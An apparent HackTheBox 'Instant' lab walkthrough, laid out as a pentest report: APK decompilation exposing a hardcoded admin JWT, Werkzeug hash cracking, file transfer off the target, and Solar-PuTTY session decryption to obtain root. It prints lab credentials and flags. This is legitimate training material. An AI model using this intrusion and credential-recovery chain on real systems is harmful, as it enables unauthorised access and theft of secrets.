infosecfamily
← Back to catalog
HackTheBox  /  Medium  /  Linux

Instant

Tested by: Testing performed by Nikolay Kravtsov, an aspiring information security specialist, *at 00:11 (so sleepy)*

Testing scope and services used.

IP/domain Port Service Target Server Service
localhost 5901 WinKexServer -
localhost - Nmap Port Scanner -
localhost - GoBuster Directory Fuzzing -
localhost - Obsidian Notes -
localhost 8000 Python HTTP Simple Server -
10.10.11.37 80 Web Server +
10.10.11.37 22 SSH +
10.10.11.37 8888 Web Server 2 +
10.10.11.37 8000 Python HTTP Simple Server +

Files used:

  • linpeas.sh - Privilege Escalation Awesome Scripts SUITE new generation.
  • instant.apk is a file that needs to be analyzed to complete the room.
  • Werkzeug-Cracker.py - a script for brute force of passwords generated by werkzeug.
  • sessions-backup.dat is the file that needs to be analyzed to complete the room.
  • SolarPuttyDecrypt.exe - a utility for analyzing Solar PuTTY backups.
  • user.txt - flag.
  • root.txt - flag.

    Procedure

1) Launch openvpn for access; kex to make Linux more convenient

  • kex --win && sudo openvpn lab_Kolya080808.ovpn

    2) Scanning ports using nmap.

  • Results:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 31:83:eb:9f:15:f8:40:a5:04:9c:cb:3f:f6:ec:49:76 (ECDSA)
|_  256 6f:66:03:47:0e:8a:e0:03:97:67:5b:41:cf:e2:c7:c7 (ED25519)
80/tcp open  http    Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://instant.htb/
|_http-server-header: Apache/2.4.58 (Ubuntu)
Service Info: Host: instant.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

3) Launch gobuster to search for directories.

  • Results:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://instant.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /home/kolya080808/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/img                  (Status: 301) [Size: 308] [--> http://instant.htb/img/]
/downloads            (Status: 301) [Size: 314] [--> http://instant.htb/downloads/]
/css                  (Status: 301) [Size: 308] [--> http://instant.htb/css/]
/js                   (Status: 301) [Size: 307] [--> http://instant.htb/js/]
/javascript           (Status: 301) [Size: 315] [--> http://instant.htb/javascript/]
Progress: 6713 / 220561 (3.04%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 6713 / 220561 (3.04%)
===============================================================
Finished
===============================================================

4) Unfortunately, when entering the page, nothing was displayed, so I had to search on the web server itself. The most interesting thing is on the screen.

  • Result

    5) I tried viewing the file using strings.

  • Attempt:

  • Conclusion: You need to use something else to analyze the apk, for example apktool.

    6) Having analyzed HackTricks page with the analysis of apk files, I found something interesting.

  • Analysis:

  • Result:
┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/res/xml]
└─$ cat network_security_config.xml
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
    <domain-config cleartextTrafficPermitted="true">
        <domain includeSubdomains="true">mywalletv1.instant.htb</domain>
        <domain includeSubdomains="true">swagger-ui.instant.htb</domain>
    </domain-config>
</network-security-config>

7) Let's look at the domains provided to us, after adding them to /etc/hosts.

  • /etc/hosts:
  • Result:

    • mywalletv1.instant.htb:
    • swagger-ui.instant.htb:

      8) Let's try to get some data that this domain provides us.

  • Attempt:

  • Conclusion: I think that we need some more data from the apk file.

    9) Let's try to get the admin data from the apk file.

  • Result:

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant]
└─$ tree smali | grep Admin
│           ├── AdminActivities$1.smali
│           ├── AdminActivities.smali

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant]
└─$ cd smali

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali]
└─$ ls
android  androidx  com  kotlin  kotlinx  okhttp3  okio  org  pl

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali]
└─$ cd com

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com]
└─$ ls
google  instantlabs

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com]
└─$ cd instantlabs/

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com/instantlabs]
└─$ ls
instant

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com/instantlabs]
└─$ cd instant

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com/instantlabs/instant]
└─$ ls
'AdminActivities$1.smali'         'LoginActivity$3.smali'     MainActivity.smali          'R$color.smali'     'R$style.smali'               'RegisterActivity$3$3.smali'  'TransactionActivity$1.smali'
 AdminActivities.smali            'LoginActivity$4$1.smali'  'ProfileActivity$1$1.smali'  'R$drawable.smali'  'R$xml.smali'                 'RegisterActivity$3.smali'    'TransactionActivity$2$1.smali'
'ForgotPasswordActivity$1.smali'  'LoginActivity$4$2.smali'  'ProfileActivity$1$2.smali'  'R$id.smali'        'RegisterActivity$1.smali'     RegisterActivity.smali       'TransactionActivity$2$2$1.smali'
 ForgotPasswordActivity.smali     'LoginActivity$4$3.smali'  'ProfileActivity$1.smali'    'R$layout.smali'    'RegisterActivity$2.smali'     R.smali                      'TransactionActivity$2$2.smali'
'LoginActivity$1.smali'           'LoginActivity$4.smali'    'ProfileActivity$2.smali'    'R$mipmap.smali'    'RegisterActivity$3$1.smali'  'SplashActivity$1.smali'      'TransactionActivity$2.smali'
'LoginActivity$2.smali'            LoginActivity.smali        ProfileActivity.smali       'R$string.smali'    'RegisterActivity$3$2.smali'   SplashActivity.smali          TransactionActivity.smali

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com/instantlabs/instant]
└─$ cd AdminActivities.smali
bash: cd: AdminActivities.smali: Not a directory

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com/instantlabs/instant]
└─$ cat AdminActivities.smali
.class public Lcom/instantlabs/instant/AdminActivities;
.super Ljava/lang/Object;
.source "AdminActivities.java"


# direct methods
.method public constructor <init>()V
    .locals 0

    .line 19
    invoke-direct {p0}, Ljava/lang/Object;-><init>()V

    return-void
.end method

.method private TestAdminAuthorization()Ljava/lang/String;
    .locals 4

    .line 22
    new-instance v0, Lokhttp3/OkHttpClient;

    invoke-direct {v0}, Lokhttp3/OkHttpClient;-><init>()V

    .line 23
    new-instance v1, Lokhttp3/Request$Builder;

    invoke-direct {v1}, Lokhttp3/Request$Builder;-><init>()V

    const-string v2, "http://mywalletv1.instant.htb/api/v1/view/profile"

    .line 24
    invoke-virtual {v1, v2}, Lokhttp3/Request$Builder;->url(Ljava/lang/String;)Lokhttp3/Request$Builder;

    move-result-object v1

    const-string v2, "Authorization"

    const-string v3, 

"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" //this is what we were looking for - cookies, they will give us the power of the admin!

    .line 25
    invoke-virtual {v1, v2, v3}, Lokhttp3/Request$Builder;->addHeader(Ljava/lang/String;Ljava/lang/String;)Lokhttp3/Request$Builder;

    move-result-object v1

    .line 26
    invoke-virtual {v1}, Lokhttp3/Request$Builder;->build()Lokhttp3/Request;

    move-result-object v1

    .line 27
    invoke-virtual {v0, v1}, Lokhttp3/OkHttpClient;->newCall(Lokhttp3/Request;)Lokhttp3/Call;

    move-result-object v0

    new-instance v1, Lcom/instantlabs/instant/AdminActivities$1;

    invoke-direct {v1, p0}, Lcom/instantlabs/instant/AdminActivities$1;-><init>(Lcom/instantlabs/instant/AdminActivities;)V

    invoke-interface {v0, v1}, Lokhttp3/Call;->enqueue(Lokhttp3/Callback;)V

    const-string v0, "Done"

    return-object v0
.end method

10) I feel like there is a file read here.

  • Commands: Cool! We found the ssh key!

11) We process the key in CyberChef and use it to log in.

  • Result

    12) Read user.txt.

  • Flag:

shirohige@instant:~$ cat user.txt
deafb16317a29cf58c0f7d31a66a12a7

13) We are trying to find ways to increase privileges using linpeas.

  • Result: I think I need to search manually

    14) I tried searching in different directories in my home, and found something interesting.

  • Result:

    15) Let's analyze what it is and what we have in this database:

  • Commands and result:

    16) Keeping the pyenv directory in mind, let's assume that our database and hashes are linked to flask. Then let's try to get passwords for them using Werkzeug Cracker:

  • Commands

┌──(kolya080808㉿NIKOLAPC-X2)-[~]
└─$ git clone https://github.com/AnataarXVI/Werkzeug-Cracker.git
Cloning into 'Werkzeug-Cracker'...
remote: Enumerating objects: 93, done.
remote: Counting objects: 100% (93/93), done.
remote: Compressing objects: 100% (64/64), done.
remote: Total 93 (delta 40), reused 62 (delta 19), pack-reused 0 (from 0)
Receiving objects: 100% (93/93), 55.35 KiB | 3.07 MiB/s, done.
Resolving deltas: 100% (40/40), done.

┌──(kolya080808㉿NIKOLAPC-X2)-[~]
└─$ cd Werkzeug-Cracker/

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Werkzeug-Cracker]
└─$ nano hashes.txt

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Werkzeug-Cracker]
└─$ pip3 install -r requirements.txt
Defaulting to user installation because normal site-packages is not writeable
Requirement already satisfied: MarkupSafe==2.1.2 in /home/kolya080808/.local/lib/python3.11/site-packages (from -r requirements.txt (line 1)) (2.1.2)
Requirement already satisfied: progress==1.6 in /home/kolya080808/.local/lib/python3.11/site-packages (from -r requirements.txt (line 2)) (1.6)
Requirement already satisfied: Werkzeug==3.0.3 in /home/kolya080808/.local/lib/python3.11/site-packages (from -r requirements.txt (line 3)) (3.0.3)

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Werkzeug-Cracker]
└─$ python3 werkzeug_cracker.py
usage: werkzeug_cracker.py [-h] [-p PASSWORD] [-w WORDLIST] [-t THREADS]

Werkzeug hash cracker

options:
  -h, --help            show this help message and exit
  -p PASSWORD, --password PASSWORD
                        load hash file
  -w WORDLIST, --wordlist WORDLIST
                        load wordlist file
  -t THREADS, --threads THREADS
                        number of threads, default=16

Example:
        werkzeug_cracker.py -p [hash] -w [wordlist] -t [threads]

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Werkzeug-Cracker]
└─$ python3 werkzeug_cracker.py -p hashes.txt -w /usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt
Cracking pbkdf2:sha256:600000$YnRgjnim$c9541a8c6ad40bc064979bc446025041ffac9af2f762726971d8a28272c550ed |█████████████████▌              | 5464/9999
Password found: estrella

Cracking pbkdf2:sha256:600000$I5bFyb0ZzD69pNX8$e9e4ea5c280e0766612295ab9bff32e5fa1de8f6cbb6586fab7ab7bc762bd978 |████████████████████████████████| 9999/9999
┌──(kolya080808㉿NIKOLAPC-X2)-[~/Werkzeug-Cracker]
└─$

17) The password for our user and root does not work:

  • Result
shirohige@instant:~/projects/mywallet/Instant-Api/mywallet/instance$ sudo -l
[sudo] password for shirohige:
Sorry, try again.
[sudo] password for shirohige:
Sorry, try again.
[sudo] password for shirohige:
sudo: 3 incorrect password attempts
shirohige@instant:~/projects/mywallet/Instant-Api/mywallet/instance$ sudo su
[sudo] password for shirohige:
Sorry, try again.
[sudo] password for shirohige:
Sorry, try again.
[sudo] password for shirohige:
sudo: 3 incorrect password attempts

18) Let's try to look at all possible vulnerabilities found by linpeas:

  • What we need to watch:
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 200)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files
/dev/mqueue
/dev/shm
/home/shirohige
/opt/backups
/opt/backups/Solar-PuTTY
/opt/backups/Solar-PuTTY/sessions-backup.dat #!here it is!

19) Download the file:

  • Result:
shirohige@instant:~$ cd /opt/backups/Solar-PuTTY/
shirohige@instant:/opt/backups/Solar-PuTTY$ ls
sessions-backup.dat
shirohige@instant:/opt/backups/Solar-PuTTY$ ip a s
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:94:e9:33 brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.10.11.37/23 brd 10.10.11.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::250:56ff:fe94:e933/64 scope link
       valid_lft forever preferred_lft forever
shirohige@instant:/opt/backups/Solar-PuTTY$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.16.39 - - [10/Nov/2024 20:24:31] "GET /sessions-backup.dat HTTP/1.1" 200 -




┌──(kolya080808㉿NIKOLAPC-X2)-[~]
└─$ wget http://10.10.11.37:8000/sessions-backup.dat
--2024-11-10 23:24:32--  http://10.10.11.37:8000/sessions-backup.dat
Connecting to 10.10.11.37:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1100 (1.1K) [application/octet-stream]
Saving to: ‘sessions-backup.dat’

sessions-backup.dat                                  100%[=====================================================================================================================>]   1.07K  --.-KB/s    in 0.1s

2024-11-10 23:24:32 (8.22 KB/s) - ‘sessions-backup.dat’ saved [1100/1100]


┌──(kolya080808㉿NIKOLAPC-X2)-[~]
└─$ mv sessions-backup.dat /mnt/c/users/kolya/Downloads/
mv: preserving times for '/mnt/c/users/kolya/Downloads/sessions-backup.dat': Operation not permitted
mv: preserving permissions for ‘/mnt/c/users/kolya/Downloads/sessions-backup.dat’: Operation not permitted

┌──(kolya080808㉿NIKOLAPC-X2)-[~]
└─$ ls /mnt/c/users/kolya/Downloads/
 2024-11-10_19-42-51.png                                 desktop.ini                               Rame.png                   StreamerBackground-Dark.png
 2024-11-10_19-43-38.png                                 discord_backup_codes.txt                  sessions-backup.dat        UTC--2021-12-13T07-50-47.625Z--30178e80b07a17f3596d8316729a548e10df384b.json
 AscomPlatform662.4195.exe                               NINASetupBundle_3.1.1.9001                SolarPuttyDecrypt_v1      'WhatsApp Image 2021-08-09 at 10.17.46.jpeg'
'Celestron Telescope and Focuser Setup (6.1.7350).exe'   OBS-Studio-30.2.3-Windows-Installer.exe   SolarPuttyDecrypt_v1.zip  'Снимок экрана (182).png'

20) I found utility for reversing Solar-PuTTY sessions using a password. We use it to try to obtain the password for root.

  • Command:
C:\Users\Kolya\Downloads\SolarPuttyDecrypt_v1>SolarPuttyDecrypt.exe
SolarPuttyDecrypt now will try to dump local sessions' file, otherwise enter SolarPutty's sessions file path and password.

Usage: SolarPuttyDecrypt.exe C:\session.dat pwd123 (use "" for empty password)
-----------------------------------------------------
SolarPutty's Sessions Decrypter by VoidSec
-----------------------------------------------------

Необработанное исключение: System.IO.DirectoryNotFoundException: Не удалось найти часть пути "C:\Users\Kolya\AppData\Roaming\SolarWinds\FreeTools\Solar-PuTTY\data.dat".
   в System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath)
   в System.IO.FileStream.Init(String path, FileMode mode, FileAccess access, Int32 rights, Boolean useRights, FileShare share, Int32 bufferSize, FileOptions options, SECURITY_ATTRIBUTES secAttrs, String msgPath, Boolean bFromProxy, Boolean useLongPath, Boolean checkHost)
   в System.IO.FileStream..ctor(String path, FileMode mode, FileAccess access, FileShare share, Int32 bufferSize, FileOptions options, String msgPath, Boolean bFromProxy)
   в System.IO.FileStream..ctor(String path, FileMode mode)
   в SolarPuttyDecrypt.Program.DoImport(String dialogFileName, String password, String CurrDir) в C:\Users\VoidSec\Documents\GitHub\SolarPuttyDecrypt\SolarPuttyDecrypt\Program.cs:строка 47
   в SolarPuttyDecrypt.Program.Main(String[] args) в C:\Users\VoidSec\Documents\GitHub\SolarPuttyDecrypt\SolarPuttyDecrypt\Program.cs:строка 31

C:\Users\Kolya\Downloads\SolarPuttyDecrypt_v1>SolarPuttyDecrypt.exe ..\sessions-backup.dat estrella
-----------------------------------------------------
SolarPutty's Sessions Decrypter by VoidSec
-----------------------------------------------------

{
  "Sessions": [
    {
      "Id": "066894ee-635c-4578-86d0-d36d4838115b",
      "Ip": "10.10.11.37",
      "Port": 22,
      "ConnectionType": 1,
      "SessionName": "Instant",
      "Authentication": 0,
      "CredentialsID": "452ed919-530e-419b-b721-da76cbe8ed04",
      "AuthenticateScript": "00000000-0000-0000-0000-000000000000",
      "LastTimeOpen": "0001-01-01T00:00:00",
      "OpenCounter": 1,
      "SerialLine": null,
      "Speed": 0,
      "Color": "#FF176998",
      "TelnetConnectionWaitSeconds": 1,
      "LoggingEnabled": false,
      "RemoteDirectory": ""
    }
  ],
  "Credentials": [
    {
      "Id": "452ed919-530e-419b-b721-da76cbe8ed04",
      "CredentialsName": "instant-root",
      "Username": "root",
      "Password": "12**24nzC!r0c%q12", // !This is where we need to go!
      "PrivateKeyPath": "",
      "Passphrase": "",
      "PrivateKeyContent": null
    }
  ],
  "AuthScript": [],
  "Groups": [],
  "Tunnels": [],
  "LogsFolderDestination": "C:\\ProgramData\\SolarWinds\\Logs\\Solar-PuTTY\\SessionLogs"
}

-----------------------------------------------------
[+] DONE Decrypted file is saved in: C:\Users\Kolya\Desktop\SolarPutty_sessions_decrypted.txt

21) Let's try:

  • Result:
shirohige@instant:/opt/backups/Solar-PuTTY$ su root
Password:
root@instant:/opt/backups/Solar-PuTTY# id
uid=0(root) gid=0(root) groups=0(root)

22) Read the root flag:

  • Result:
root@instant:~# cd ~
root@instant:~# cat root.txt
d28cd25ccb744f06152609d4d2e8b64d
root@instant:~#
Note: Awesome room, but very difficult to guess with the second flag. But it simulates a real situation - this is rare for such platforms. Very cool! Thanks to HackTheBox for the awesome room!!!

Vulnerabilities found

Information Disclosure

PoC:

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/res/xml]
└─$ cat network_security_config.xml
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
    <domain-config cleartextTrafficPermitted="true">
        <domain includeSubdomains="true">mywalletv1.instant.htb</domain>
        <domain includeSubdomains="true">swagger-ui.instant.htb</domain>
    </domain-config>
</network-security-config>

(point 6)

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com/instantlabs/instant]
└─$ ls
'AdminActivities$1.smali'         'LoginActivity$3.smali'     MainActivity.smali          'R$color.smali'     'R$style.smali'               'RegisterActivity$3$3.smali'  'TransactionActivity$1.smali'
 AdminActivities.smali            'LoginActivity$4$1.smali'  'ProfileActivity$1$1.smali'  'R$drawable.smali'  'R$xml.smali'                 'RegisterActivity$3.smali'    'TransactionActivity$2$1.smali'
'ForgotPasswordActivity$1.smali'  'LoginActivity$4$2.smali'  'ProfileActivity$1$2.smali'  'R$id.smali'        'RegisterActivity$1.smali'     RegisterActivity.smali       'TransactionActivity$2$2$1.smali'
 ForgotPasswordActivity.smali     'LoginActivity$4$3.smali'  'ProfileActivity$1.smali'    'R$layout.smali'    'RegisterActivity$2.smali'     R.smali                      'TransactionActivity$2$2.smali'
'LoginActivity$1.smali'           'LoginActivity$4.smali'    'ProfileActivity$2.smali'    'R$mipmap.smali'    'RegisterActivity$3$1.smali'  'SplashActivity$1.smali'      'TransactionActivity$2.smali'
'LoginActivity$2.smali'            LoginActivity.smali        ProfileActivity.smali       'R$string.smali'    'RegisterActivity$3$2.smali'   SplashActivity.smali          TransactionActivity.smali

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com/instantlabs/instant]
└─$ cd AdminActivities.smali
bash: cd: AdminActivities.smali: Not a directory

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com/instantlabs/instant]
└─$ cat AdminActivities.smali
.class public Lcom/instantlabs/instant/AdminActivities;
.super Ljava/lang/Object;
.source "AdminActivities.java"


# direct methods
.method public constructor <init>()V
    .locals 0

    .line 19
    invoke-direct {p0}, Ljava/lang/Object;-><init>()V

    return-void
.end method

.method private TestAdminAuthorization()Ljava/lang/String;
    .locals 4

    .line 22
    new-instance v0, Lokhttp3/OkHttpClient;

    invoke-direct {v0}, Lokhttp3/OkHttpClient;-><init>()V

    .line 23
    new-instance v1, Lokhttp3/Request$Builder;

    invoke-direct {v1}, Lokhttp3/Request$Builder;-><init>()V

    const-string v2, "http://mywalletv1.instant.htb/api/v1/view/profile"

    .line 24
    invoke-virtual {v1, v2}, Lokhttp3/Request$Builder;->url(Ljava/lang/String;)Lokhttp3/Request$Builder;

    move-result-object v1

    const-string v2, "Authorization"

    const-string v3, 
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"
    .line 25
    invoke-virtual {v1, v2, v3}, Lokhttp3/Request$Builder;->addHeader(Ljava/lang/String;Ljava/lang/String;)Lokhttp3/Request$Builder;

    move-result-object v1

    .line 26
    invoke-virtual {v1}, Lokhttp3/Request$Builder;->build()Lokhttp3/Request;

    move-result-object v1

    .line 27
    invoke-virtual {v0, v1}, Lokhttp3/OkHttpClient;->newCall(Lokhttp3/Request;)Lokhttp3/Call;

    move-result-object v0

    new-instance v1, Lcom/instantlabs/instant/AdminActivities$1;

    invoke-direct {v1, p0}, Lcom/instantlabs/instant/AdminActivities$1;-><init>(Lcom/instantlabs/instant/AdminActivities;)V

    invoke-interface {v0, v1}, Lokhttp3/Call;->enqueue(Lokhttp3/Callback;)V

    const-string v0, "Done"

    return-object v0
.end method

(point 9)

CVSSv3 Score: 10.0 (Critical)

Description:

Information Disclosure in this case is related to the data in the apk file. The developer provided too much information during development, resulting in a vulnerability.

Reproducing the vulnerability:

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant]
└─$ tree smali | grep Admin
│           ├── AdminActivities$1.smali
│           ├── AdminActivities.smali

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant]
└─$ cd smali

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali]
└─$ ls
android  androidx  com  kotlin  kotlinx  okhttp3  okio  org  pl

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali]
└─$ cd com

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com]
└─$ ls
google  instantlabs

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com]
└─$ cd instantlabs/

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com/instantlabs]
└─$ ls
instant

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com/instantlabs]
└─$ cd instant

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com/instantlabs/instant]
└─$ ls
'AdminActivities$1.smali'         'LoginActivity$3.smali'     MainActivity.smali          'R$color.smali'     'R$style.smali'               'RegisterActivity$3$3.smali'  'TransactionActivity$1.smali'
 AdminActivities.smali            'LoginActivity$4$1.smali'  'ProfileActivity$1$1.smali'  'R$drawable.smali'  'R$xml.smali'                 'RegisterActivity$3.smali'    'TransactionActivity$2$1.smali'
'ForgotPasswordActivity$1.smali'  'LoginActivity$4$2.smali'  'ProfileActivity$1$2.smali'  'R$id.smali'        'RegisterActivity$1.smali'     RegisterActivity.smali       'TransactionActivity$2$2$1.smali'
 ForgotPasswordActivity.smali     'LoginActivity$4$3.smali'  'ProfileActivity$1.smali'    'R$layout.smali'    'RegisterActivity$2.smali'     R.smali                      'TransactionActivity$2$2.smali'
'LoginActivity$1.smali'           'LoginActivity$4.smali'    'ProfileActivity$2.smali'    'R$mipmap.smali'    'RegisterActivity$3$1.smali'  'SplashActivity$1.smali'      'TransactionActivity$2.smali'
'LoginActivity$2.smali'            LoginActivity.smali        ProfileActivity.smali       'R$string.smali'    'RegisterActivity$3$2.smali'   SplashActivity.smali          TransactionActivity.smali

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com/instantlabs/instant]
└─$ cd AdminActivities.smali
bash: cd: AdminActivities.smali: Not a directory

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com/instantlabs/instant]
└─$ cat AdminActivities.smali

(point 9) (point 6)

Remediation recommendations:

  • Check specific files for sensitive data
  • Release an update that blocks the reverse attempt

    File Read

PoC:

CVSSv3 Score: 10.0 (Critical)

Description:

There is no file read protection on the swagger-ui subdomain.

Reproducing the vulnerability:

PoC compliant.

Remediation recommendations:

PoC:

shirohige@instant:/opt/backups/Solar-PuTTY$ su root
Password:
root@instant:/opt/backups/Solar-PuTTY# id
uid=0(root) gid=0(root) groups=0(root)

(paragraph 21)

CVSSv3 Score: 10.0 (Critical)

Description:

Here, information disclosure results from an outdated, vulnerable version of Solar-PuTTY and file permissions that grant access to users and groups who should not have it.

Reproducing the vulnerability:

C:\Users\Kolya\Downloads\SolarPuttyDecrypt_v1>SolarPuttyDecrypt.exe
SolarPuttyDecrypt now will try to dump local sessions' file, otherwise enter SolarPutty's sessions file path and password.

Usage: SolarPuttyDecrypt.exe C:\session.dat pwd123 (use "" for empty password)
-----------------------------------------------------
SolarPutty's Sessions Decrypter by VoidSec
-----------------------------------------------------

Необработанное исключение: System.IO.DirectoryNotFoundException: Не удалось найти часть пути "C:\Users\Kolya\AppData\Roaming\SolarWinds\FreeTools\Solar-PuTTY\data.dat".
   в System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath)
   в System.IO.FileStream.Init(String path, FileMode mode, FileAccess access, Int32 rights, Boolean useRights, FileShare share, Int32 bufferSize, FileOptions options, SECURITY_ATTRIBUTES secAttrs, String msgPath, Boolean bFromProxy, Boolean useLongPath, Boolean checkHost)
   в System.IO.FileStream..ctor(String path, FileMode mode, FileAccess access, FileShare share, Int32 bufferSize, FileOptions options, String msgPath, Boolean bFromProxy)
   в System.IO.FileStream..ctor(String path, FileMode mode)
   в SolarPuttyDecrypt.Program.DoImport(String dialogFileName, String password, String CurrDir) в C:\Users\VoidSec\Documents\GitHub\SolarPuttyDecrypt\SolarPuttyDecrypt\Program.cs:строка 47
   в SolarPuttyDecrypt.Program.Main(String[] args) в C:\Users\VoidSec\Documents\GitHub\SolarPuttyDecrypt\SolarPuttyDecrypt\Program.cs:строка 31

C:\Users\Kolya\Downloads\SolarPuttyDecrypt_v1>SolarPuttyDecrypt.exe ..\sessions-backup.dat estrella
-----------------------------------------------------
SolarPutty's Sessions Decrypter by VoidSec
-----------------------------------------------------

{
  "Sessions": [
    {
      "Id": "066894ee-635c-4578-86d0-d36d4838115b",
      "Ip": "10.10.11.37",
      "Port": 22,
      "ConnectionType": 1,
      "SessionName": "Instant",
      "Authentication": 0,
      "CredentialsID": "452ed919-530e-419b-b721-da76cbe8ed04",
      "AuthenticateScript": "00000000-0000-0000-0000-000000000000",
      "LastTimeOpen": "0001-01-01T00:00:00",
      "OpenCounter": 1,
      "SerialLine": null,
      "Speed": 0,
      "Color": "#FF176998",
      "TelnetConnectionWaitSeconds": 1,
      "LoggingEnabled": false,
      "RemoteDirectory": ""
    }
  ],
  "Credentials": [
    {
      "Id": "452ed919-530e-419b-b721-da76cbe8ed04",
      "CredentialsName": "instant-root",
      "Username": "root",
      "Password": "12**24nzC!r0c%q12", // !This is where we need to go!
      "PrivateKeyPath": "",
      "Passphrase": "",
      "PrivateKeyContent": null
    }
  ],
  "AuthScript": [],
  "Groups": [],
  "Tunnels": [],
  "LogsFolderDestination": "C:\\ProgramData\\SolarWinds\\Logs\\Solar-PuTTY\\SessionLogs"
}

-----------------------------------------------------
[+] DONE Decrypted file is saved in: C:\Users\Kolya\Desktop\SolarPutty_sessions_decrypted.txt

(paragraph 20)

Remediation recommendations:

  • Check specific files for sensitive data
  • Download the latest Solar PuTTY update with reverse lock
  • Do not store data in folders with permissions for all users.

    Video walkthrough